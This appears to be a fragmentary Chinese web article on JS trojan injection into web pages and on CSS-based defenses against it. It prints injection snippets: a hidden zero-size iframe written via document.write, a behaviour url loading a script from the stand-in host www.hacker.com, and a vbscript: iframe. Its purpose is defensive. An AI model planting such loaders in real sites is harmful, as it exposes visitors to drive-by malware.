js挂马分析及处理方法

js挂马分析及处理方法

在网站优化设计当中，检测网页木马也是很重要的一项工作，目前流行的网站被黑，是在相应的asp,htm,js等文件中，插入以js调用方式的。本文主要介绍网页挂马的种类、如何检测网页是否被挂马、如何清除网页木马。如何防止网页被挂马。

或者

document.write("<div style='display:none'>")
document.write("<iframe src="网页木马地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")
document.write("</div>")

就成功地将木马挂到了对方的网页中了。

小提示：黑客还可以根据情况随机变换插入的JS挂马方法，例如黑客有可能会将脚本写为：

<div style="behaviour: url(http://www.hacker.com/木马脚本.js);">

或者：

<iframe src="vbscript:[挂马脚本]">

等等……

防第一种JS挂马方式，不方便，用得非常少，而第二种JS挂马方式才是当前主流的，所以我们主要针对它进行防御。方法就是阻止Src请求的异地外域的JS脚本，代码如下：

iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}

　　不过这种方法的缺点就是网站的访问者将不能看到被挂了JS木马的相关网页。　　所以我们为安全工程师提供了一段可以中止JS脚本运行的CSS代码，这段代码会让异地外域的JS文件在使用document.write()时，被document.close()强制关闭。这个时侯JS挂马的内容往往还没有来得及写完，只有部分被强制输出了，Writer后面的内容再不会被写入访问者的电脑中，从而起到防范JS脚本挂马的作用。
<title>让JS挂马中止的CSS代码</title>
<style type="text/css" id="shudoo">
/*<![CDATA[*/
iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
script{mzm2:expression((this.src.indexOf('http')==0)?document.close():'');}
/*]]>*/
</style>